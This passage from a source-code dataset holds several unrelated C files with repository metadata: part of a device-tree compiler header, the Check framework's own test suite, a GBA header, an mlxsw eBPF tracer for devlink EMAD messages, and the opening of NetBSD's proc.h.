#include <libfdt_env.h>
#include <common.h>
#include <dictionary.h>
#include <iniparser.h>
#include <script.h>
#include <script_to_dts.h>
#include <fdt.h>
#include "util.h"
#ifdef DEBUG
#define debug(fmt,args...) printf(fmt, ##args)
#else
#define debug(fmt,args...)
#endif
#define DEFAULT_FDT_VERSION 17
/*
* Command line options
*/
extern int quiet; /* Level of quietness */
extern int reservenum; /* Number of memory reservation slots */
extern int minsize; /* Minimum blob size */
extern int padsize; /* Additional padding to blob */
extern int phandle_format; /* Use linux,phandle or phandle properties */
#define PHANDLE_LEGACY 0x1
#define PHANDLE_EPAPR 0x2
#define PHANDLE_BOTH 0x3
typedef uint32_t cell_t;
#define streq(a, b) (strcmp((a), (b)) == 0)
#define strneq(a, b, n) (strncmp((a), (b), (n)) == 0)
#define ALIGN(x, a) (((x) + (a) - 1) & ~((a) - 1))
#if 0
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#endif
/* Data blobs */
enum markertype {
REF_PHANDLE,
REF_PATH,
LABEL,
};
struct marker {
enum markertype type;
int offset;
char *ref;
struct marker *next;
};
struct data {
int len;
char *val;
struct marker *markers;
};
#define empty_data ((struct data){ /* all .members = 0 or NULL */ })
#define for_each_marker(m) \
for (; (m); (m) = (m)->next)
#define for_each_marker_of_type(m, t) \
for_each_marker(m) \
if ((m)->type == (t))
void data_free(struct data d);
struct data data_grow_for(struct data d, int xlen);
struct data data_copy_mem(const char *mem, int len);
struct data data_copy_escape_string(const char *s, int len);
struct data data_copy_file(FILE *f, size_t len);
struct data data_append_data(struct data d, const void *p, int len);
struct data data_insert_at_marker(struct data d, struct marker *m,
const void *p, int len);
struct data data_merge(struct data d1, struct data d2);
struct data data_append_cell(struct data d, cell_t word);
struct data data_append_integer(struct data d, uint64_t word, int bits);
struct data data_append_re(struct data d, const struct fdt_reserve_entry *re);
struct data data_append_addr(struct data d, uint64_t addr);
struct data data_append_byte(struct data d, uint8_t byte);
struct data data_append_zeroes(struct data d, int len);
struct data data_append_align(struct data d, int align);
struct data data_add_marker(struct data d, enum markertype type, char *ref);
int data_is_one_string(struct data d);
/* DT constraints */
#define MAX_PROPNAME_LEN 31
#define MAX_NODENAME_LEN 31
/* Live trees */
struct label {
int deleted;
char *label;
struct label *next;
};
struct property {
int deleted;
char *name;
struct data val;
struct property *next;
struct label *labels;
};
struct node {
int deleted;
char *name;
struct property *proplist;
struct node *children;
struct node *parent;
struct node *next_sibling;
char *fullpath;
int basenamelen;
cell_t phandle;
int addr_cells, size_cells;
struct label *labels;
};
#define for_each_label_withdel(l0, l) \
for ((l) = (l0); (l); (l) = (l)->next)
#define for_each_label(l0, l) \
for_each_label_withdel(l0, l) \
if (!(l)->deleted)
#define for_each_property_withdel(n, p) \
for ((p) = (n)->proplist; (p); (p) = (p)->next)
#define for_each_property(n, p) \
for_each_property_withdel(n, p) \
if (!(p)->deleted)
#define for_each_child_withdel(n, c) \
for ((c) = (n)->children; (c); (c) = (c)->next_sibling)
#define for_each_child(n, c) \
for_each_child_withdel(n, c) \
if (!(c)->deleted)
void add_label(struct label **labels, char *label);
void delete_labels(struct label **labels);
struct property *build_property(char *name, struct data val);
struct property *build_property_delete(char *name);
struct property *chain_property(struct property *first, struct property *list);
struct property *reverse_properties(struct property *first);
struct node *build_node(struct property *proplist, struct node *children);
struct node *build_node_delete(void);
struct node *name_node(struct node *node, char *name);
struct node *chain_node(struct node *first, struct node *list);
struct node *merge_nodes(struct node *old_node, struct node *new_node);
void add_property(struct node *node, struct property *prop);
void delete_property_by_name(struct node *node, char *name);
void delete_property(struct property *prop);
void add_child(struct node *parent, struct node *child);
void delete_node_by_name(struct node *parent, char *name);
void delete_node(struct node *node);
const char *get_unitname(struct node *node);
struct property *get_property(struct node *node, const char *propname);
cell_t propval_cell(struct property *prop);
struct property *get_property_by_label(struct node *tree, const char *label,
struct node **node);
struct marker *get_marker_label(struct node *tree, const char *label,
struct node **node, struct property **prop);
struct node *get_subnode(struct node *node, const char *nodename);
struct node *get_node_by_path(struct node *tree, const char *path);
struct node *get_node_by_label(struct node *tree, const char *label);
struct node *get_node_by_type(struct node *tree, const char *device_type);
struct node *get_node_by_phandle(struct node *tree, cell_t phandle);
struct node *get_node_by_ref(struct node *tree, const char *ref);
cell_t get_node_phandle(struct node *root, struct node *node);
uint32_t guess_boot_cpuid(struct node *tree);
/* Boot info (tree plus memreserve information */
struct reserve_info {
struct fdt_reserve_entry re;
struct reserve_info *next;
struct label *labels;
};
struct reserve_info *build_reserve_entry(uint64_t start, uint64_t len);
struct reserve_info *chain_reserve_entry(struct reserve_info *first,
struct reserve_info *list);
struct reserve_info *add_reserve_entry(struct reserve_info *list,
struct reserve_info *new);
struct boot_info {
struct reserve_info *reservelist;
struct node *dt; /* the device tree */
uint32_t boot_cpuid_phys;
};
struct boot_info *build_boot_info(struct reserve_info *reservelist,
struct node *tree, uint32_t boot_cpuid_phys);
void sort_tree(struct boot_info *bi);
/* Checks */
void parse_checks_option(bool warn, bool error, const char *optarg);
void process_checks(int force, struct boot_info *bi);
/* Flattened trees */
void dt_to_blob(FILE *f, struct boot_info *bi, int version);
void dt_to_asm(FILE *f, struct boot_info *bi, int version);
struct boot_info *dt_from_blob(const char *fname);
/* Tree source */
void dt_to_source(FILE *f, struct boot_info *bi);
struct boot_info *dt_from_source(const char *f);
/* FS trees */
struct boot_info *dt_from_fs(const char *dirname);
#endif /* _DTC_H */
|
03f2bf5fd12195a7420adb5b33334f80d5a048e7
|
eb907ede8881df72394637539b204a36089afe45
|
/deps/check-0.9.8/tests/check_check_sub.c
|
76e594a630a0bb55bbef542772528d7baa1f4d08
|
[
"LGPL-2.1-only"
] |
permissive
|
armon/hlld
|
735ce9d1b179d0da8e6efb9e60a77ab94fe2c8b2
|
a7b035ff305a48335c8a3c39d6617ce5ffc1f980
|
refs/heads/master
| 2023-07-08T20:50:32.609950
| 2021-02-11T17:57:24
| 2021-02-11T17:57:24
| 9,990,694
| 205
| 28
|
BSD-3-Clause
| 2021-02-11T17:57:25
| 2013-05-10T21:25:27
|
C
|
UTF-8
|
C
| false
| false
| 14,865
|
c
|
check_check_sub.c
|
#include "../lib/libcompat.h"
#include <sys/types.h>
#include <stdlib.h>
#include <signal.h>
#include <check.h>
#include "check_check.h"
#define _STR(Y) #Y
START_TEST(test_lno)
{
fail("Failure expected");
#define LINENO_lno _STR(__LINE__)
}
END_TEST
START_TEST(test_mark_lno)
{
mark_point();
#define LINENO_mark_lno _STR(__LINE__)
#ifdef _POSIX_VERSION
exit(EXIT_FAILURE); /* should fail with mark_point above as line */
#endif /* _POSIX_VERSION */
}
END_TEST
START_TEST(test_pass)
{
fail_unless(1 == 1, "This test should pass");
fail_unless(9999, "This test should pass");
}
END_TEST
/* FIXME: this should really be called test_fail_unless */
START_TEST(test_fail)
{
fail_unless(1 == 2, "This test should fail");
}
END_TEST
START_TEST(test_fail_if_pass)
{
fail_if(1 == 2, "This test should pass");
fail_if(0, "This test should pass");
}
END_TEST
START_TEST(test_fail_if_fail)
{
fail_if(1 == 1, "This test should fail");
}
END_TEST
START_TEST(test_fail_null_msg)
{
fail_unless(2 == 3, NULL);
}
END_TEST
#if defined(__GNUC__)
START_TEST(test_fail_no_msg)
{ /* taking out the NULL provokes an ISO C99 warning in GCC */
fail_unless(4 == 5, NULL);
}
END_TEST
#endif /* __GNUC__ */
START_TEST(test_fail_if_null_msg)
{
fail_if(2 != 3, NULL);
}
END_TEST
#if defined(__GNUC__)
START_TEST(test_fail_if_no_msg)
{ /* taking out the NULL provokes an ISO C99 warning in GCC */
fail_if(4 != 5, NULL);
}
END_TEST
#endif /* __GNUC__ */
START_TEST(test_fail_vararg_msg_1)
{
int x = 3;
int y = 4;
fail_unless(x == y, "%d != %d", x, y);
}
END_TEST
START_TEST(test_fail_vararg_msg_2)
{
int x = 5;
int y = 6;
fail_if(x != y, "%d != %d", x, y);
}
END_TEST
START_TEST(test_fail_vararg_msg_3)
{
int x = 7;
int y = 7;
fail("%d == %d", x, y);
}
END_TEST
#if defined(__GNUC__)
START_TEST(test_fail_empty)
{ /* plain fail() doesn't compile with xlc in C mode because of `, ## __VA_ARGS__' problem */
/* on the other hand, taking out the NULL provokes an ISO C99 warning in GCC */
fail(NULL);
}
END_TEST
#endif /* __GNUC__ */
START_TEST(test_ck_abort)
{
ck_abort();
#define LINENO_ck_abort _STR(__LINE__)
}
END_TEST
START_TEST(test_ck_abort_msg)
{
ck_abort_msg("Failure expected");
#define LINENO_ck_abort_msg _STR(__LINE__)
}
END_TEST
/* FIXME: perhaps passing NULL to ck_abort_msg should be an error. */
START_TEST(test_ck_abort_msg_null)
{
ck_abort_msg(NULL);
#define LINENO_ck_abort_msg_null _STR(__LINE__)
}
END_TEST
START_TEST(test_ck_assert)
{
int x = 3;
int y = 3;
ck_assert(1);
ck_assert(x == y);
y++;
ck_assert(x != y);
ck_assert(x == y);
#define LINENO_ck_assert _STR(__LINE__)
}
END_TEST
START_TEST(test_ck_assert_null)
{
ck_assert(0);
#define LINENO_ck_assert_null _STR(__LINE__)
}
END_TEST
START_TEST(test_ck_assert_int_eq)
{
int x = 3;
int y = 3;
ck_assert_int_eq(x, y);
y++;
ck_assert_int_eq(x, y);
#define LINENO_ck_assert_int_eq _STR(__LINE__)
}
END_TEST
START_TEST(test_ck_assert_int_ne)
{
int x = 3;
int y = 2;
ck_assert_int_ne(x, y);
y++;
ck_assert_int_ne(x, y);
#define LINENO_ck_assert_int_ne _STR(__LINE__)
}
END_TEST
START_TEST(test_ck_assert_str_eq)
{
const char *s = "test2";
ck_assert_str_eq("test2", s);
ck_assert_str_eq("test1", s);
#define LINENO_ck_assert_str_eq _STR(__LINE__)
}
END_TEST
START_TEST(test_ck_assert_str_ne)
{
const char *s = "test2";
const char *t = "test1";
ck_assert_str_ne(t, s);
t = "test2";
ck_assert_str_ne(t, s);
#define LINENO_ck_assert_str_ne _STR(__LINE__)
}
END_TEST
START_TEST(test_segv)
#define LINENO_segv _STR(__LINE__)
{
raise (SIGSEGV);
}
END_TEST
START_TEST(test_fpe)
{
raise (SIGFPE);
}
END_TEST
/* TODO:
unit test running the same suite in succession */
START_TEST(test_mark_point)
{
int i;
i = 0;
i++;
mark_point();
raise(SIGFPE);
fail("Shouldn't reach here");
}
END_TEST
#if TIMEOUT_TESTS_ENABLED
START_TEST(test_eternal)
#define LINENO_eternal _STR(__LINE__)
{
for (;;)
;
}
END_TEST
START_TEST(test_sleep2)
{
sleep(2);
}
END_TEST
START_TEST(test_sleep5)
#define LINENO_sleep5 _STR(__LINE__)
{
sleep(5);
}
END_TEST
START_TEST(test_sleep9)
#define LINENO_sleep9 _STR(__LINE__)
{
sleep(9);
}
END_TEST
START_TEST(test_sleep14)
#define LINENO_sleep14 _STR(__LINE__)
{
sleep(14);
}
END_TEST
#endif
START_TEST(test_early_exit)
{
exit(EXIT_FAILURE);
}
END_TEST
START_TEST(test_null)
{
Suite *s;
TCase *tc;
SRunner *sr;
s = suite_create(NULL);
tc = tcase_create(NULL);
suite_add_tcase (s, NULL);
tcase_add_test (tc, NULL);
sr = srunner_create(NULL);
srunner_run_all (NULL, -1);
srunner_free (NULL);
fail("Completed properly");
}
END_TEST
START_TEST(test_null_2)
{
SRunner *sr = srunner_create(NULL);
srunner_run_all (sr, CK_NORMAL);
srunner_free (sr);
fail("Completed properly");
}
END_TEST
#ifdef _POSIX_VERSION
START_TEST(test_fork1p_pass)
{
pid_t pid;
if((pid = fork()) < 0) {
fail("Failed to fork new process");
} else if (pid > 0) {
fail_unless(1, NULL);
kill(pid, SIGKILL);
} else {
for (;;) {
sleep(1);
}
}
}
END_TEST
START_TEST(test_fork1p_fail)
{
pid_t pid;
if((pid = fork()) < 0) {
fail("Failed to fork new process");
} else if (pid > 0) {
fail("Expected fail");
kill(pid, SIGKILL);
} else {
for (;;) {
sleep(1);
}
}
}
END_TEST
START_TEST(test_fork1c_pass)
{
pid_t pid;
if((pid = check_fork()) < 0) {
fail("Failed to fork new process");
} else if (pid > 0) {
check_waitpid_and_exit(pid);
} else {
fail_unless(1, NULL);
check_waitpid_and_exit(0);
}
}
END_TEST
START_TEST(test_fork1c_fail)
{
pid_t pid;
if((pid = check_fork()) < 0) {
fail("Failed to fork new process");
} else if (pid == 0) {
fail("Expected fail");
check_waitpid_and_exit(0);
}
check_waitpid_and_exit(pid);
}
END_TEST
START_TEST(test_fork2_pass)
{
pid_t pid;
pid_t pid2;
if((pid = check_fork()) < 0) {
fail("Failed to fork new process");
} else if (pid > 0) {
if((pid2 = check_fork()) < 0) {
fail("Failed to fork new process");
} else if (pid2 == 0) {
fail_unless(1, NULL);
check_waitpid_and_exit(0);
}
check_waitpid_and_exit(pid2);
}
check_waitpid_and_exit(pid);
}
END_TEST
START_TEST(test_fork2_fail)
{
pid_t pid;
pid_t pid2;
if((pid = check_fork()) < 0) {
fail("Failed to fork new process");
} else if (pid > 0) {
if((pid2 = check_fork()) < 0) {
fail("Failed to fork new process");
} else if (pid2 == 0) {
fail("Expected fail");
check_waitpid_and_exit(0);
}
check_waitpid_and_exit(pid2);
fail("Expected fail");
}
check_waitpid_and_exit(pid);
}
END_TEST
#endif /* _POSIX_VERSION */
START_TEST(test_srunner)
{
Suite *s;
SRunner *sr;
s = suite_create("Check Servant3");
fail_unless(s != NULL, NULL);
sr = srunner_create(NULL);
fail_unless(sr != NULL, NULL);
srunner_add_suite(sr, s);
srunner_free(sr);
sr = srunner_create(NULL);
fail_unless(sr != NULL, NULL);
srunner_add_suite(sr, NULL);
srunner_free(sr);
s = suite_create("Check Servant3");
fail_unless(s != NULL, NULL);
sr = srunner_create(s);
fail_unless(sr != NULL, NULL);
srunner_free(sr);
}
END_TEST
START_TEST(test_2nd_suite)
{
fail("We failed");
}
END_TEST
Suite *make_sub2_suite(void)
{
Suite *s = suite_create("Check Servant2");
TCase *tc = tcase_create("Core");
suite_add_tcase(s, tc);
tcase_add_test(tc, test_srunner);
tcase_add_test(tc, test_2nd_suite);
return s;
}
void init_master_tests_lineno(void) {
const char * lineno[] = {
/* Simple Tests */
LINENO_lno,
LINENO_mark_lno,
"-1",
"-1",
"-1",
"-1",
"-1",
"-1",
"-1",
"-1",
"-1",
"-1",
"-1",
"-1",
LINENO_ck_abort,
LINENO_ck_abort_msg,
LINENO_ck_abort_msg_null,
LINENO_ck_assert,
LINENO_ck_assert_null,
LINENO_ck_assert_int_eq,
LINENO_ck_assert_int_ne,
LINENO_ck_assert_str_eq,
LINENO_ck_assert_str_ne,
/* Signal Tests */
"-1",
"-1",
LINENO_segv,
"-1",
"-1",
"-1",
"-1",
#if TIMEOUT_TESTS_ENABLED
/* Timeout Tests */
#if HAVE_WORKING_SETENV
LINENO_eternal,
"-1",
"-1",
LINENO_sleep9,
#endif
LINENO_eternal,
"-1",
LINENO_sleep5,
LINENO_sleep9,
LINENO_eternal,
"-1",
"-1",
LINENO_sleep9,
LINENO_eternal,
"-1",
LINENO_sleep5,
LINENO_sleep9,
#if HAVE_WORKING_SETENV
LINENO_eternal,
"-1",
"-1",
LINENO_sleep14,
LINENO_eternal,
"-1",
"-1",
LINENO_sleep9,
LINENO_eternal,
"-1",
"-1",
LINENO_sleep14,
#endif
#endif
/* Limit Tests */
"-1",
"-1",
"-1",
/* Msg and fork Tests */
"-1",
"-1",
"-1",
"-1",
"-1",
"-1",
/* Core */
"-1",
"-1"
};
int s = sizeof lineno /sizeof lineno[0];
int i;
for (i = 0; i < s; i++) {
master_tests_lineno[i] = atoi(lineno[i]) - 1;
}
}
Suite *make_sub_suite(void)
{
Suite *s;
TCase *tc_simple;
TCase *tc_signal;
#if TIMEOUT_TESTS_ENABLED
#if HAVE_WORKING_SETENV
TCase *tc_timeout_env;
#endif /* HAVE_WORKING_SETENV */
TCase *tc_timeout;
TCase *tc_timeout_usr;
#if HAVE_WORKING_SETENV
TCase *tc_timeout_env_scale;
TCase *tc_timeout_scale;
TCase *tc_timeout_usr_scale;
#endif /* HAVE_WORKING_SETENV */
#endif
TCase *tc_limit;
TCase *tc_messaging_and_fork;
s = suite_create("Check Servant");
tc_simple = tcase_create("Simple Tests");
tc_signal = tcase_create("Signal Tests");
#if TIMEOUT_TESTS_ENABLED
#if HAVE_WORKING_SETENV
setenv("CK_DEFAULT_TIMEOUT", "6", 1);
tc_timeout_env = tcase_create("Environment Timeout Tests");
unsetenv("CK_DEFAULT_TIMEOUT");
#endif /* HAVE_WORKING_SETENV */
tc_timeout = tcase_create("Timeout Tests");
tc_timeout_usr = tcase_create("User Timeout Tests");
#if HAVE_WORKING_SETENV
setenv("CK_TIMEOUT_MULTIPLIER", "2", 1);
tc_timeout_scale = tcase_create("Timeout Scaling Tests");
tc_timeout_usr_scale = tcase_create("User Timeout Scaling Tests");
setenv("CK_DEFAULT_TIMEOUT", "6", 1);
tc_timeout_env_scale = tcase_create("Environment Timeout Scaling Tests");
unsetenv("CK_DEFAULT_TIMEOUT");
unsetenv("CK_TIMEOUT_MULTIPLIER");
#endif
#endif
tc_limit = tcase_create("Limit Tests");
tc_messaging_and_fork = tcase_create("Msg and fork Tests");
suite_add_tcase (s, tc_simple);
suite_add_tcase (s, tc_signal);
#if TIMEOUT_TESTS_ENABLED
#if HAVE_WORKING_SETENV
suite_add_tcase (s, tc_timeout_env);
#endif /* HAVE_WORKING_SETENV */
suite_add_tcase (s, tc_timeout);
suite_add_tcase (s, tc_timeout_usr);
/* Add a second time to make sure tcase_set_timeout doesn't contaminate it. */
suite_add_tcase (s, tc_timeout);
#if HAVE_WORKING_SETENV
suite_add_tcase (s, tc_timeout_env_scale);
suite_add_tcase (s, tc_timeout_scale);
suite_add_tcase (s, tc_timeout_usr_scale);
#endif
#endif
suite_add_tcase (s, tc_limit);
suite_add_tcase (s, tc_messaging_and_fork);
tcase_add_test (tc_simple, test_lno);
tcase_add_test (tc_simple, test_mark_lno);
tcase_add_test (tc_simple, test_pass);
tcase_add_test (tc_simple, test_fail);
tcase_add_test (tc_simple, test_fail_if_pass);
tcase_add_test (tc_simple, test_fail_if_fail);
tcase_add_test (tc_simple, test_fail_null_msg);
#if defined(__GNUC__)
tcase_add_test (tc_simple, test_fail_no_msg);
#endif /* __GNUC__ */
tcase_add_test (tc_simple, test_fail_if_null_msg);
#if defined(__GNUC__)
tcase_add_test (tc_simple, test_fail_if_no_msg);
#endif /* __GNUC__ */
tcase_add_test (tc_simple, test_fail_vararg_msg_1);
tcase_add_test (tc_simple, test_fail_vararg_msg_2);
tcase_add_test (tc_simple, test_fail_vararg_msg_3);
#if defined(__GNUC__)
tcase_add_test (tc_simple, test_fail_empty);
#endif /* __GNUC__ */
tcase_add_test (tc_simple, test_ck_abort);
tcase_add_test (tc_simple, test_ck_abort_msg);
tcase_add_test (tc_simple, test_ck_abort_msg_null);
tcase_add_test (tc_simple, test_ck_assert);
tcase_add_test (tc_simple, test_ck_assert_null);
tcase_add_test (tc_simple, test_ck_assert_int_eq);
tcase_add_test (tc_simple, test_ck_assert_int_ne);
tcase_add_test (tc_simple, test_ck_assert_str_eq);
tcase_add_test (tc_simple, test_ck_assert_str_ne);
tcase_add_test (tc_signal, test_segv);
tcase_add_test_raise_signal (tc_signal, test_segv, 11); /* pass */
tcase_add_test_raise_signal (tc_signal, test_segv, 8); /* error */
tcase_add_test_raise_signal (tc_signal, test_pass, 8); /* fail */
tcase_add_test_raise_signal (tc_signal, test_fail, 8); /* fail */
tcase_add_test (tc_signal, test_fpe);
tcase_add_test (tc_signal, test_mark_point);
#if TIMEOUT_TESTS_ENABLED
#if HAVE_WORKING_SETENV
tcase_add_test (tc_timeout_env, test_eternal);
tcase_add_test (tc_timeout_env, test_sleep2);
tcase_add_test (tc_timeout_env, test_sleep5);
tcase_add_test (tc_timeout_env, test_sleep9);
#endif /* HAVE_WORKING_SETENV */
tcase_add_test (tc_timeout, test_eternal);
tcase_add_test (tc_timeout, test_sleep2);
tcase_add_test (tc_timeout, test_sleep5);
tcase_add_test (tc_timeout, test_sleep9);
tcase_set_timeout (tc_timeout_usr, 6);
tcase_add_test (tc_timeout_usr, test_eternal);
tcase_add_test (tc_timeout_usr, test_sleep2);
tcase_add_test (tc_timeout_usr, test_sleep5);
tcase_add_test (tc_timeout_usr, test_sleep9);
#if HAVE_WORKING_SETENV
tcase_add_test (tc_timeout_env_scale, test_eternal);
tcase_add_test (tc_timeout_env_scale, test_sleep5);
tcase_add_test (tc_timeout_env_scale, test_sleep9);
tcase_add_test (tc_timeout_env_scale, test_sleep14);
tcase_add_test (tc_timeout_scale, test_eternal);
tcase_add_test (tc_timeout_scale, test_sleep2);
tcase_add_test (tc_timeout_scale, test_sleep5);
tcase_add_test (tc_timeout_scale, test_sleep9);
setenv("CK_TIMEOUT_MULTIPLIER", "2", 1);
tcase_set_timeout (tc_timeout_usr_scale, 6);
unsetenv("CK_TIMEOUT_MULTIPLIER");
tcase_add_test (tc_timeout_usr_scale, test_eternal);
tcase_add_test (tc_timeout_usr_scale, test_sleep5);
tcase_add_test (tc_timeout_usr_scale, test_sleep9);
tcase_add_test (tc_timeout_usr_scale, test_sleep14);
#endif
#if 0
tcase_set_timeout (tc_timeout_kill, 2);
tcase_add_test (tc_timeout_kill, test_sleep);
#endif
#endif
tcase_add_test (tc_limit, test_early_exit);
tcase_add_test (tc_limit, test_null);
tcase_add_test (tc_limit, test_null_2);
#ifdef _POSIX_VERSION
tcase_add_test (tc_messaging_and_fork, test_fork1p_pass);
tcase_add_test (tc_messaging_and_fork, test_fork1p_fail);
tcase_add_test (tc_messaging_and_fork, test_fork1c_pass);
tcase_add_test (tc_messaging_and_fork, test_fork1c_fail);
tcase_add_test (tc_messaging_and_fork, test_fork2_pass);
tcase_add_test (tc_messaging_and_fork, test_fork2_fail);
#endif /* _POSIX_VERSION */
return s;
}
|
7fd203bf3893fbdc9cd83489a18c087cd420e0a5
|
d2253070a3a64b14dee5ca0b3d311919178e590c
|
/include/gba/gba.h
|
349344031f170190bebbff9d03dc1924de8c65b1
|
[] |
no_license
|
pret/pokeemerald
|
ce232eccdde78502f3c251d672b26af3e1d7e508
|
d67914e114c937c4c80ce128ddc5523d4dc2cd40
|
refs/heads/master
| 2023-08-31T11:23:13.877932
| 2023-08-27T23:40:59
| 2023-08-27T23:40:59
| 43,677,244
| 1,944
| 1,903
| null | 2023-09-12T22:48:06
| 2015-10-05T10:09:22
|
C
|
UTF-8
|
C
| false
| false
| 251
|
h
|
gba.h
|
#ifndef GUARD_GBA_GBA_H
#define GUARD_GBA_GBA_H
#include "gba/defines.h"
#include "gba/io_reg.h"
#include "gba/types.h"
#include "gba/multiboot.h"
#include "gba/syscall.h"
#include "gba/macro.h"
#include "gba/isagbprint.h"
#endif // GUARD_GBA_GBA_H
|
30750465c2854dff2c5bf7464df1950e9e9ae5d5
|
fdbb69f862ae7a6197c5dd6bba0069ea95e0c47b
|
/Debugging/libbpf-tools/src/emadump.bpf.c
|
a5a64053fe1f03acd1469cbfbdab1800eee37af4
|
[] |
no_license
|
Mellanox/mlxsw
|
378536c83491043018fe6ba33d045f297875eb5a
|
5dc6e0ccc5aa7082a60cd18b4e13e499d07c868c
|
refs/heads/master
| 2023-09-01T21:24:49.579523
| 2023-07-13T08:44:28
| 2023-07-13T10:48:28
| 61,218,692
| 171
| 45
| null | null | null | null |
UTF-8
|
C
| false
| false
| 2,765
|
c
|
emadump.bpf.c
|
// SPDX-License-Identifier: GPL-2.0
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_endian.h>
#include "emadump.h"
#include "bits.bpf.h"
#define EMAD_ETH_HDR_LEN 0x10
#define EMAD_OP_TLV_LEN 0x10
#define EMAD_OP_TLV_STATUS_MASK 0x7F
struct emad_op_tlv {
u16 resv1;
u8 status;
u8 resv2;
u16 reg_id;
u8 r_method;
u8 resv3;
u64 tid;
};
#define MAX_ENTRIES 10240
const volatile bool targ_errors = false;
const volatile __u64 targ_thresh_us = 0;
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024);
} rb SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, u64);
__type(value, struct emad_event);
} start SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_PERCPU_ARRAY);
__uint(max_entries, 1);
__type(key, int);
__type(value, struct emad_event);
} heap SEC(".maps");
SEC("tracepoint/devlink/devlink_hwmsg")
int handle__devlink_hwmsg(struct trace_event_raw_devlink_hwmsg *ctx)
{
u8 emad[EMAD_ETH_HDR_LEN + EMAD_OP_TLV_LEN];
u64 ts = bpf_ktime_get_ns() / 1000U;
struct emad_event *e, *req_e;
size_t emad_len = ctx->len;
struct emad_op_tlv *op_tlv;
int zero = 0;
u32 buf_off;
bool error;
s64 delta;
/* This should never happen. */
if (emad_len > EMAD_MAX_LEN)
return 0;
/* Allocate EMAD event from our "heap". */
e = bpf_map_lookup_elem(&heap, &zero);
if (!e) /* Cannot happen. */
return 0;
/* Initialize EMAD event. */
buf_off = ctx->__data_loc_buf & 0xFFFF;
bpf_probe_read(&e->buf, emad_len, (void *) ctx + buf_off);
e->len = emad_len;
e->ts = ts;
/* If no filtering, then output the event to BPF ringbuf. */
if (!targ_errors && !targ_thresh_us) {
bpf_ringbuf_output(&rb, e, sizeof(*e), 0);
return 0;
}
bpf_probe_read(emad, EMAD_ETH_HDR_LEN + EMAD_OP_TLV_LEN,
(void *) ctx + buf_off);
op_tlv = (struct emad_op_tlv *)(emad + EMAD_ETH_HDR_LEN);
/* Store EMAD request in a hash table for retrieval upon response. */
if (!ctx->incoming) {
bpf_map_update_elem(&start, &op_tlv->tid, e, BPF_ANY);
return 0;
}
/* Retrieve the request from the response. */
req_e = bpf_map_lookup_elem(&start, &op_tlv->tid);
if (!req_e)
return 0;
delta = (s64)(ts - req_e->ts);
if (delta < 0)
goto out;
error = (op_tlv->status & EMAD_OP_TLV_STATUS_MASK) != 0;
/* Submit request and response if match filters. */
if ((targ_errors && error) ||
(targ_thresh_us && delta > targ_thresh_us)) {
bpf_ringbuf_output(&rb, req_e, sizeof(*req_e), 0);
bpf_ringbuf_output(&rb, e, sizeof(*e), 0);
}
out:
bpf_map_delete_elem(&start, &op_tlv->tid);
return 0;
}
char LICENSE[] SEC("license") = "GPL";
|
dbbf21e7a1e309f0ee0a211b0ff9ff414a6751e4
|
28d0f8c01599f8f6c711bdde0b59f9c2cd221203
|
/sys/sys/proc.h
|
e7fca30ec27ddff719dfeac1bb700e96d64aafeb
|
[
"BSD-2-Clause"
] |
permissive
|
NetBSD/src
|
1a9cbc22ed778be638b37869ed4fb5c8dd616166
|
23ee83f7c0aea0777bd89d8ebd7f0cde9880d13c
|
refs/heads/trunk
| 2023-08-31T13:24:58.105962
| 2023-08-27T15:50:47
| 2023-08-27T15:50:47
| 88,439,547
| 656
| 348
| null | 2023-07-20T20:07:24
| 2017-04-16T20:03:43
| null |
UTF-8
|
C
| false
| false
| 23,051
|
h
|
proc.h
|
/* $NetBSD: proc.h,v 1.372 2023/07/11 09:48:56 riastradh Exp $ */
/*-
* Copyright (c) 2006, 2007, 2008, 2020 The NetBSD Foundation, Inc.
* All rights reserved.
*
* This code is derived from software contributed to The NetBSD Foundation
* by Andrew Doran.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/*-
* Copyright (c) 1986, 1989, 1991, 1993
* The Regents of the University of California. All rights reserved.
* (c) UNIX System Laboratories, Inc.
* All or some portions of this file are derived from material licensed
* to the University of California by American Telephone and Telegraph
* Co. or Unix System Laboratories, Inc. and are reproduced herein with
* the permission of UNIX System Laboratories, Inc.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
